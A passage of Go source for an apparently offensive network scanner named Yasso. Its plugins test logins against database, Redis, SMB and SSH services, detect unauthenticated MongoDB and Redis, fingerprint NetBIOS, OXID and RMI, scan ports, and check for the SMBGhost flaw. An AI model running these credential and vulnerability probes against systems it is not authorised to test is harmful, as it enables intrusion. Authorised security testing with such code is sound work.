| "strings" 10 | "time" 11 | ) 12 | 13 | func MongoAuth(info config.ServiceConn, user, pass string) (*mgo.Session, bool, error) { 14 | 15 | conf := &mgo.DialInfo{ 16 | Dial: func(addr net.Addr) (net.Conn, error) { 17 | return net.DialTimeout("tcp", addr.String(), info.Timeout) 18 | }, 19 | Addrs: []string{fmt.Sprintf("%s:%d", info.Hostname, info.Port)}, 20 | Timeout: info.Timeout, 21 | Database: "test", 22 | Source: "admin", 23 | Username: user, 24 | Password: pass, 25 | PoolLimit: 4096, 26 | Direct: false, 27 | } 28 | db, err := mgo.DialWithInfo(conf) 29 | if err == nil { 30 | err = db.Ping() 31 | if err != nil { 32 | return nil, false, err 33 | } 34 | return db, true, nil 35 | } 36 | return nil, false, err 37 | } 38 | 39 | func MongoUnAuth(info config.ServiceConn, user, pass string) (bool, error) { 40 | var flag = false 41 | data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} 42 | data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} 43 | connString := fmt.Sprintf("%s:%v", info.Hostname, info.Port) 44 | conn, err := net.DialTimeout("tcp", connString, info.Timeout) 45 | defer func() { 46 | if conn != nil { 47 | conn.Close() 48 | } 49 | }() 50 | if err != nil { 51 | return false, err 52 | } 53 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout))) 54 | if err != nil { 55 | return false, err 56 | } 57 | _, err = conn.Write(data1) 58 | if err != nil { 59 | return false, err 60 | } 61 | reply := make([]byte, 1024) 62 | count, err := conn.Read(reply) 63 | if err != nil { 64 | return false, err 65 | } 66 | text := string(reply[0:count]) 67 | if strings.Contains(text, "ismaster") { 68 | _, err = conn.Write(data2) 69 | if err != nil { 70 | return false, err 71 | } 72 | count, err := conn.Read(reply) 73 | if err != nil { 74 | return false, err 75 | } 76 | text := string(reply[0:count]) 77 | if strings.Contains(text, "totalLinesWritten") { 78 | flag = true 79 | logger.Success(fmt.Sprintf("Mongodb %v unauthorized", info.Hostname)) 80 | } 81 | } 82 | return flag, nil 83 | } 84 | -------------------------------------------------------------------------------- /core/plugin/mssql.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "bytes" 7 | "database/sql" 8 | "encoding/hex" 9 | "fmt" 10 | _ "github.com/denisenkom/go-mssqldb" 11 | "net" 12 | "strconv" 13 | "time" 14 | ) 15 | 16 | func MssqlConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) { 17 | var flag = false 18 | db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Hostname, info.Port, info.Timeout)) 19 | if err == nil { 20 | db.SetConnMaxLifetime(time.Duration(info.Timeout)) 21 | db.SetConnMaxIdleTime(time.Duration(info.Timeout)) 22 | db.SetMaxIdleConns(0) 23 | err = db.Ping() 24 | if err == nil { 25 | flag = true 26 | return db, flag, nil 27 | } 28 | } 29 | return db, flag, err 30 | } 31 | 32 | func VersionMssql(info config.ServiceConn) (bool, string) { 33 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 34 | if err != nil { 35 | return false, "" 36 | } 37 | 38 | msg := "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x01\x55\x00\x00\x02\x4d\x53\x53\x51\x4c\x53\x65\x72\x76\x65\x72\x00\x00\x00\x31\x32" 39 | _, err = conn.Write([]byte(msg)) 40 | if err != nil { 41 | return false, "" 42 | } 43 | reply := make([]byte, 256) 44 | _, _ = conn.Read(reply) 45 | if conn != nil { 46 | _ = conn.Close() 47 | } 48 | 49 | var buffer [256]byte 50 | if bytes.Equal(reply[:], buffer[:]) { 51 | return false, "" 52 | } else if hex.EncodeToString(reply[0:4]) != "04010025" { 53 | return false, "" 54 | } 55 | v, status := getVersion(reply) 56 | if status { 57 | logger.Info(fmt.Sprintf("%s:%v [version:%v][mssql]", info.Hostname, info.Port, v)) 58 | return true, fmt.Sprintf("%s:%v [version:%v]", info.Hostname, info.Port, v) 59 | } 60 | return false, "" 61 | } 62 | 63 | func getVersion(reply []byte) (string, bool) { 64 | m, err := strconv.ParseUint(hex.EncodeToString(reply[29:30]), 16, 32) 65 | if err != nil { 66 | return "", false 67 | } 68 | s, err := strconv.ParseUint(hex.EncodeToString(reply[30:31]), 16, 32) 69 | if err != nil { 70 | return "", false 71 | } 72 | r, err := strconv.ParseUint(hex.EncodeToString(reply[31:33]), 16, 32) 73 | if err != nil { 74 | return "", false 75 | } 76 | v := fmt.Sprintf("%d.%d.%d", m, s, r) 77 | return v, true 78 | } 79 | -------------------------------------------------------------------------------- /core/plugin/mysql.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "database/sql" 6 | "fmt" 7 | _ "github.com/go-sql-driver/mysql" 8 | "time" 9 | ) 10 | 11 | func MySQLConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) { 12 | var flag = false 13 | address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Hostname, info.Port, info.Timeout) 14 | db, err := sql.Open("mysql", address) 15 | if err == nil { 16 | db.SetConnMaxLifetime(time.Duration(info.Timeout)) 17 | db.SetConnMaxIdleTime(time.Duration(info.Timeout)) 18 | //defer db.Close() 19 | err = db.Ping() 20 | if err == nil { 21 | flag = true 22 | } 23 | } 24 | return db, flag, err 25 | } 26 | -------------------------------------------------------------------------------- /core/plugin/nbns_test.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import "testing" 4 | 5 | func TestNbnsScanConn(t *testing.T) { 6 | 7 | } 8 | -------------------------------------------------------------------------------- /core/plugin/nbnsscan.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "bytes" 6 | "fmt" 7 | "net" 8 | "strconv" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | func NbnsScanConn(host string, port int, timeout time.Duration) (bool, string) { 14 | conn, err := net.DialTimeout("udp", fmt.Sprintf("%v:%v", host, port), timeout) 15 | if err != nil { 16 | return false, "" 17 | } 18 | msg := []byte{ 19 | 0x0, 0x00, 0x0, 0x10, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x43, 0x4b, 0x41, 0x41, 20 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 21 | 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x0, 0x0, 22 | 0x21, 0x0, 0x1, 23 | } 24 | _, err = conn.Write(msg) 25 | if err != nil { 26 | if conn != nil { 27 | _ = conn.Close() 28 | } 29 | return false, "" 30 | } 31 | reply := make([]byte, 256) 32 | err = conn.SetDeadline(time.Now().Add(time.Duration(timeout))) 33 | if err != nil { 34 | if conn != nil { 35 | _ = conn.Close() 36 | } 37 | return false, "" 38 | } 39 | _, _ = conn.Read(reply) 40 | if conn != nil { 41 | _ = conn.Close() 42 | } 43 | 44 | var buffer [256]byte 45 | if bytes.Equal(reply[:], buffer[:]) { 46 | return false, "" 47 | } 48 | /* 49 | Re: https://en.wikipedia.org/wiki/NetBIOS#NetBIOS_Suffixes 50 | For unique names: 51 | 00: Workstation Service (workstation name) 52 | 03: Windows Messenger service 53 | 06: Remote Access Service 54 | 20: File Service (also called Host Record) 55 | 21: Remote Access Service client 56 | 1B: Domain Master Browser – Primary Domain Controller for a domain 57 | 1D: Master Browser 58 | For group names: 59 | 00: Workstation Service (workgroup/domain name) 60 | 1C: Domain Controllers for a domain (group record with up to 25 IP addresses) 61 | 1E: Browser Service Elections 62 | */ 63 | var n int 64 | NumberFoNames, _ := strconv.Atoi(convert([]byte{reply[56:57][0]}[:])) 65 | var flagGroup string 66 | var flagUnique string 67 | var flagDC string 68 | 69 | for i := 0; i < NumberFoNames; i++ { 70 | data := reply[n+57+18*i : n+57+18*i+18] 71 | if string(data[16:17]) == "\x84" || string(data[16:17]) == "\xC4" { 72 | if string(data[15:16]) == "\x1C" { 73 | flagDC = "Domain Controllers" 74 | } 75 | if string(data[15:16]) == "\x00" { 76 | flagGroup = nbnsByteToStringParse(data[0:16]) 77 | } 78 | if string(data[14:16]) == "\x02\x01" { 79 | flagGroup = nbnsByteToStringParse(data[0:16]) 80 | } 81 | } else if string(data[16:17]) == "\x04" || string(data[16:17]) == "\x44" || string(data[16:17]) == "\x64" { 82 | if string(data[15:16]) == "\x1C" { 83 | flagDC = "Domain Controllers" 84 | } 85 | if string(data[15:16]) == "\x00" { 86 | flagUnique = nbnsByteToStringParse(data[0:16]) 87 | } 88 | if string(data[15:16]) == "\x20" { 89 | flagUnique = nbnsByteToStringParse(data[0:16]) 90 | } 91 | 92 | } 93 | } 94 | if flagGroup == "" && flagUnique == "" { 95 | return false, "" 96 | } 97 | 98 | result := make(map[string]interface{}) 99 | result["banner.string"] = flagGroup + "\\" + flagUnique 100 | result["identify.string"] = fmt.Sprintf("[%s]", logger.LightRed(flagDC)) 101 | if len(flagDC) != 0 { 102 | result["identify.bool"] = true 103 | } else { 104 | result["identify.bool"] = false 105 | } 106 | if result["identify.bool"] == true { 107 | logger.Success(fmt.Sprintf("[%s] %v %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"], result["identify.string"])) 108 | } else { 109 | logger.Success(fmt.Sprintf("[%s] %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"])) 110 | } 111 | 112 | return true, fmt.Sprintf("%v", result["banner.string"]) 113 | } 114 | 115 | func convert(b []byte) string { 116 | s := make([]string, len(b)) 117 | for i := range b { 118 | s[i] = strconv.Itoa(int(b[i])) 119 | } 120 | return strings.Join(s, "") 121 | } 122 | 123 | func nbnsByteToStringParse(p []byte) string { 124 | var w []string 125 | var res string 126 | for i := 0; i < len(p); i++ { 127 | if p[i] > 32 && p[i] < 127 { 128 | w = append(w, string(p[i])) 129 | continue 130 | } 131 | } 132 | res = strings.Join(w, "") 133 | return res 134 | } 135 | -------------------------------------------------------------------------------- /core/plugin/oxidscan.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "bytes" 6 | "encoding/hex" 7 | "fmt" 8 | "net" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | func OxidScanConn(host string, port int, timeout time.Duration) (bool, string) { 14 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout) 15 | if err != nil { 16 | return false, "" 17 | } 18 | 19 | msg1 := "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xf8\x0f\xf8\x0f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00" 20 | msg2 := "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00" 21 | _, err = conn.Write([]byte(msg1)) 22 | if err != nil { 23 | return false, "" 24 | } 25 | reply1 := make([]byte, 256) 26 | _, _ = conn.Read(reply1) 27 | 28 | if hex.EncodeToString(reply1[0:8]) != "05000c0310000000" { 29 | return false, "" 30 | } 31 | 32 | _, err = conn.Write([]byte(msg2)) 33 | if err != nil { 34 | return false, "" 35 | } 36 | 37 | reply2 := make([]byte, 512) 38 | _, _ = conn.Read(reply2) 39 | if conn != nil { 40 | _ = conn.Close() 41 | } 42 | c := 0 43 | zero := make([]byte, 1) 44 | var buffer bytes.Buffer 45 | result := make(map[string]string) 46 | for i := 0; i < len(reply2[42:]); { 47 | b := reply2[42:][i : i+2] 48 | i += 2 49 | if 42+i == len(reply2[42:]) { 50 | break 51 | } 52 | if string(b) == "\x09\x00" { 53 | break 54 | } 55 | if string(b) == "\x07\x00" { 56 | c += 1 57 | if c == 6 { 58 | break 59 | } 60 | buffer.Write([]byte("\x7C\x7C")) 61 | result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",") 62 | continue 63 | } 64 | if bytes.Equal(b[0:1], zero[0:1]) { 65 | continue 66 | } 67 | buffer.Write(b[0:1]) 68 | result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",") 69 | if c == 6 { 70 | break 71 | } 72 | } 73 | if len(strings.Split(result["banner.string"], "||")) > 0 { 74 | logger.Success(strings.Split(result["banner.string"], "||")) 75 | } 76 | return true, fmt.Sprintf("%v", strings.Split(result["banner.string"], "||")) 77 | } 78 | -------------------------------------------------------------------------------- /core/plugin/postgres.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "database/sql" 6 | "fmt" 7 | "time" 8 | ) 9 | 10 | func PostgreConn(info config.ServiceConn, user, pass string) (bool, error) { 11 | var flag = false 12 | db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Hostname, info.Port, "postgres", "disable")) 13 | if err == nil { 14 | db.SetConnMaxLifetime(time.Duration(info.Timeout)) 15 | defer db.Close() 16 | err = db.Ping() 17 | if err == nil { 18 | flag = true 19 | } 20 | } 21 | return flag, err 22 | } 23 | -------------------------------------------------------------------------------- /core/plugin/ps.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "fmt" 6 | "net" 7 | "sync" 8 | "time" 9 | ) 10 | 11 | type Scanner struct { 12 | ports []int 13 | ip string 14 | scanChannel chan int 15 | thread int 16 | scan func(ip string, port int) bool 17 | } 18 | 19 | func NewRunner(ports []int, ip string, thread int, scan func(ip string, port int) bool) *Scanner { 20 | return &Scanner{ 21 | ports: ports, 22 | ip: ip, 23 | scanChannel: make(chan int, 1000), 24 | thread: thread, 25 | scan: scan, 26 | } 27 | } 28 | 29 | func (s *Scanner) RunEnumeration() []int { 30 | var wg sync.WaitGroup 31 | var re []int 32 | for i := 0; i < s.thread; i++ { 33 | wg.Add(1) 34 | go func() { 35 | defer wg.Done() 36 | for p := range s.scanChannel { 37 | if s.scan(s.ip, p) { 38 | logger.Info(fmt.Sprintf("%v:%v is open", s.ip, p)) 39 | re = append(re, p) 40 | } 41 | } 42 | }() 43 | } 44 | for _, p := range s.ports { 45 | s.scanChannel <- p 46 | } 47 | close(s.scanChannel) 48 | wg.Wait() 49 | return re 50 | } 51 | 52 | func tcpConn(ip string, port int) bool { 53 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 100*time.Millisecond) 54 | if err != nil { 55 | return false 56 | } 57 | conn.Close() 58 | return true 59 | } 60 | 61 | //TODO: 暂定,目前还没有syn扫描方式 62 | func synConn(ip string, port int) bool { 63 | return true 64 | } 65 | -------------------------------------------------------------------------------- /core/plugin/redis.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "fmt" 7 | "net" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func RedisAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) { 13 | var flag = false 14 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 15 | if err != nil { 16 | return conn, false, err 17 | } 18 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout))) 19 | if err != nil { 20 | return conn, false, err 21 | } 22 | // 认证 23 | _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) 24 | if err != nil { 25 | return conn, false, err 26 | } 27 | reply, err := RedisReply(conn) 28 | if err != nil { 29 | return conn, false, err 30 | } 31 | if strings.Contains(reply, "+OK") { 32 | flag = true 33 | dbfilename := redisInfo(conn, reply) 34 | logger.Info(fmt.Sprintf("Redis %s:%v Login Success dbfilename:[%v]", info.Hostname, info.Port, dbfilename)) 35 | } 36 | return conn, flag, nil 37 | } 38 | 39 | func RedisUnAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) { 40 | _, _ = user, pass 41 | var flag = false 42 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 43 | if err != nil { 44 | return conn, false, err 45 | } 46 | err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout))) 47 | if err != nil { 48 | return conn, false, err 49 | } 50 | _, err = conn.Write([]byte("info\r\n")) 51 | if err != nil { 52 | return conn, false, err 53 | } 54 | reply, err := RedisReply(conn) 55 | if err != nil { 56 | return conn, false, err 57 | } 58 | if strings.Contains(reply, "redis_version") { 59 | flag = true 60 | dbfilename := redisInfo(conn, reply) 61 | logger.Success(fmt.Sprintf("Redis %s:%v unauthorized dbfilename:[%v] ", info.Hostname, info.Port, dbfilename)) 62 | } 63 | return conn, flag, nil 64 | } 65 | 66 | func RedisReply(conn net.Conn) (string, error) { 67 | var ( 68 | r string 69 | err error 70 | ) 71 | buf := make([]byte, 5*1024) 72 | for { 73 | count, err := conn.Read(buf) 74 | if err != nil { 75 | break 76 | } 77 | r += string(buf[0:count]) 78 | if count < 5*1024 { 79 | break 80 | } 81 | } 82 | return r, err 83 | } 84 | 85 | func redisInfo(conn net.Conn, reply string) string { 86 | var ( 87 | dbfilename string 88 | ) 89 | // 读取filename 90 | _, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n"))) 91 | if err != nil { 92 | return "" 93 | } 94 | text, err := RedisReply(conn) 95 | if err != nil { 96 | return "" 97 | } 98 | text1 := strings.Split(text, "\r\n") 99 | if len(text1) > 2 { 100 | dbfilename = text1[len(text1)-2] 101 | } else { 102 | dbfilename = text1[0] 103 | } 104 | return dbfilename 105 | } 106 | -------------------------------------------------------------------------------- /core/plugin/rmi.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "bytes" 7 | "encoding/hex" 8 | "fmt" 9 | "net" 10 | "strings" 11 | ) 12 | 13 | // RMIConn 识别rmi服务方式 14 | func RMIConn(info config.ServiceConn, user, pass string) bool { 15 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) 16 | if err != nil { 17 | return false 18 | } 19 | msg := "\x4a\x52\x4d\x49\x00\x02\x4b" 20 | _, err = conn.Write([]byte(msg)) 21 | if err != nil { 22 | return false 23 | } 24 | reply := make([]byte, 256) 25 | _, _ = conn.Read(reply) 26 | if conn != nil { 27 | _ = conn.Close() 28 | } 29 | var buffer [256]byte 30 | if bytes.Equal(reply[:], buffer[:]) { 31 | return false 32 | } else if hex.EncodeToString(reply[0:1]) != "4e" { 33 | return false 34 | } 35 | // 这里解析出字符串 36 | banner := byteToString(reply) 37 | logger.Success(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)) 38 | return true 39 | } 40 | 41 | func byteToString(p []byte) string { 42 | var w []string 43 | var res string 44 | for i := 0; i < len(p); i++ { 45 | if p[i] > 32 && p[i] < 127 { 46 | w = append(w, string(p[i])) 47 | continue 48 | } 49 | asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1])) 50 | w = append(w, asciiTo16) 51 | } 52 | res = strings.Join(w, "") 53 | if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") { 54 | s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") 55 | return s[0] 56 | } 57 | return res 58 | } 59 | -------------------------------------------------------------------------------- /core/plugin/smb.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "errors" 6 | "github.com/stacktitan/smb/smb" 7 | "time" 8 | ) 9 | 10 | func SmbConn(info config.ServiceConn, user, pass string) (bool, error) { 11 | signal := make(chan struct{}) 12 | var ( 13 | flag bool 14 | err error 15 | ) 16 | go func() { 17 | flag, err = dialSmbTimeOut(info, user, pass, signal) 18 | }() 19 | select { 20 | case <-signal: 21 | return flag, err 22 | case <-time.After(1 * time.Second): 23 | return false, errors.New("smb conn time out") 24 | } 25 | } 26 | 27 | func dialSmbTimeOut(info config.ServiceConn, user, pass string, signal chan struct{}) (bool, error) { 28 | var flag = false 29 | options := smb.Options{ 30 | Host: info.Hostname, 31 | Port: 445, 32 | User: user, 33 | Password: pass, 34 | Domain: info.Domain, 35 | Workstation: "", 36 | } 37 | session, err := smb.NewSession(options, false) 38 | if err == nil { 39 | session.Close() 40 | if session.IsAuthenticated { 41 | flag = true 42 | } 43 | } 44 | signal <- struct{}{} 45 | return flag, err 46 | } 47 | -------------------------------------------------------------------------------- /core/plugin/smbghost.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "bytes" 7 | "fmt" 8 | "net" 9 | "time" 10 | ) 11 | 12 | const ( 13 | pkt = "\x00" + // session 14 | "\x00\x00\xc0" + // legth 15 | 16 | "\xfeSMB@\x00" + // protocol 17 | 18 | //[MS-SMB2]: SMB2 NEGOTIATE Request 19 | //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 20 | 21 | "\x00\x00" + 22 | "\x00\x00" + 23 | "\x00\x00" + 24 | "\x00\x00" + 25 | "\x1f\x00" + 26 | "\x00\x00\x00\x00" + 27 | "\x00\x00\x00\x00" + 28 | "\x00\x00\x00\x00" + 29 | "\x00\x00\x00\x00" + 30 | "\x00\x00\x00\x00" + 31 | "\x00\x00\x00\x00" + 32 | "\x00\x00\x00\x00" + 33 | "\x00\x00\x00\x00" + 34 | "\x00\x00\x00\x00" + 35 | "\x00\x00\x00\x00" + 36 | "\x00\x00\x00\x00" + 37 | "\x00\x00\x00\x00" + 38 | 39 | // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT 40 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 41 | 42 | "$\x00" + 43 | "\x08\x00" + 44 | "\x01\x00" + 45 | "\x00\x00" + 46 | "\x7f\x00\x00\x00" + 47 | "\x00\x00\x00\x00" + 48 | "\x00\x00\x00\x00" + 49 | "\x00\x00\x00\x00" + 50 | "\x00\x00\x00\x00" + 51 | "x\x00" + 52 | "\x00\x00" + 53 | "\x02\x00" + 54 | "\x00\x00" + 55 | "\x02\x02" + 56 | "\x10\x02" + 57 | "\x22\x02" + 58 | "$\x02" + 59 | "\x00\x03" + 60 | "\x02\x03" + 61 | "\x10\x03" + 62 | "\x11\x03" + 63 | "\x00\x00\x00\x00" + 64 | 65 | // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES 66 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 67 | 68 | "\x01\x00" + 69 | "&\x00" + 70 | "\x00\x00\x00\x00" + 71 | "\x01\x00" + 72 | "\x20\x00" + 73 | "\x01\x00" + 74 | "\x00\x00\x00\x00" + 75 | "\x00\x00\x00\x00" + 76 | "\x00\x00\x00\x00" + 77 | "\x00\x00\x00\x00" + 78 | "\x00\x00\x00\x00" + 79 | "\x00\x00\x00\x00" + 80 | "\x00\x00\x00\x00" + 81 | "\x00\x00\x00\x00" + 82 | "\x00\x00" + 83 | 84 | // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES 85 | // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 86 | 87 | "\x03\x00" + 88 | "\x0e\x00" + 89 | "\x00\x00\x00\x00" + 90 | "\x01\x00" + //CompressionAlgorithmCount 91 | "\x00\x00" + 92 | "\x01\x00\x00\x00" + 93 | "\x01\x00" + //LZNT1 94 | "\x00\x00" + 95 | "\x00\x00\x00\x00" 96 | ) 97 | 98 | func SmbGhostConn(info config.ServiceConn) bool { 99 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 100 | if err != nil { 101 | return false 102 | } else { 103 | defer conn.Close() 104 | conn.Write([]byte(pkt)) 105 | buff := make([]byte, 1024) 106 | err = conn.SetReadDeadline(time.Now().Add(2 * time.Second)) 107 | n, err := conn.Read(buff) 108 | if err != nil { 109 | //Println(err.Error()) // Profound analysis 110 | } 111 | 112 | if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true { 113 | logger.Success(fmt.Sprintf("%s Find CVE-2020-0796", info.Hostname)) 114 | return true 115 | } else { 116 | //Println(ip + " Not Vulnerable") 117 | return false 118 | } 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /core/plugin/ssh.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "Yasso/core/utils" 7 | "bytes" 8 | "fmt" 9 | "golang.org/x/crypto/ssh" 10 | "io/ioutil" 11 | "net" 12 | "os" 13 | "path" 14 | "regexp" 15 | "strings" 16 | "time" 17 | ) 18 | 19 | func SshConnByUser(info config.ServiceConn, user, pass string) (*ssh.Client, bool, error) { 20 | sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.Timeout} 21 | con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) 22 | if err != nil { 23 | return nil, false, err 24 | } 25 | c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig) 26 | if err != nil { 27 | return nil, false, err 28 | } 29 | return ssh.NewClient(c, ch, re), true, err 30 | } 31 | 32 | func SshConnByKey(info config.ServiceConn, user string) (*ssh.Client, bool, error) { 33 | var ( 34 | err error 35 | HomePath string 36 | key []byte 37 | ) 38 | switch { 39 | case info.PublicKey == "": 40 | HomePath, err = os.UserHomeDir() 41 | if err != nil { 42 | return nil, false, err 43 | } 44 | key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa")) 45 | if err != nil { 46 | return nil, false, err 47 | } 48 | case info.PublicKey != "": 49 | key, err = ioutil.ReadFile(info.PublicKey) 50 | if err != nil { 51 | return nil, false, err 52 | } 53 | } 54 | signer, err := ssh.ParsePrivateKey(key) 55 | if err != nil { 56 | return nil, false, err 57 | } 58 | sshConfig := &ssh.ClientConfig{ 59 | User: user, 60 | Auth: []ssh.AuthMethod{ 61 | ssh.PublicKeys(signer), 62 | }, 63 | Timeout: info.Timeout, 64 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 65 | } 66 | con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) 67 | if err != nil { 68 | return nil, false, err 69 | } 70 | 71 | c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig) 72 | if err != nil { 73 | return nil, false, err 74 | } 75 | return ssh.NewClient(c, ch, re), true, err 76 | } 77 | 78 | func VersionSSH(info config.ServiceConn) string { 79 | buff, err := sshConn(info) 80 | if err != nil { 81 | logger.Fatal(fmt.Sprintf("%s ssh conn has an error", info.Hostname)) 82 | return "" 83 | } 84 | ok, _ := regexp.Match(`^SSH.\d`, buff) 85 | str := utils.ByteToStringParse(buff) 86 | if ok { 87 | logger.Info(fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0])) 88 | return fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0]) 89 | } 90 | return "" 91 | } 92 | 93 | // sshConn 连接到tcp 94 | func sshConn(info config.ServiceConn) ([]byte, error) { 95 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout)) 96 | if err != nil { 97 | return nil, err 98 | } 99 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second)) 100 | reply := make([]byte, 256) 101 | _, err = conn.Read(reply) 102 | 103 | var buffer [256]byte 104 | if err == nil && bytes.Equal(reply[:], buffer[:]) == false { 105 | if conn != nil { 106 | _ = conn.Close() 107 | } 108 | return reply, nil 109 | } 110 | conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout)) 111 | if err != nil { 112 | return nil, err 113 | } 114 | msg := "GET /test HTTP/1.1\r\n\r\n" 115 | _, 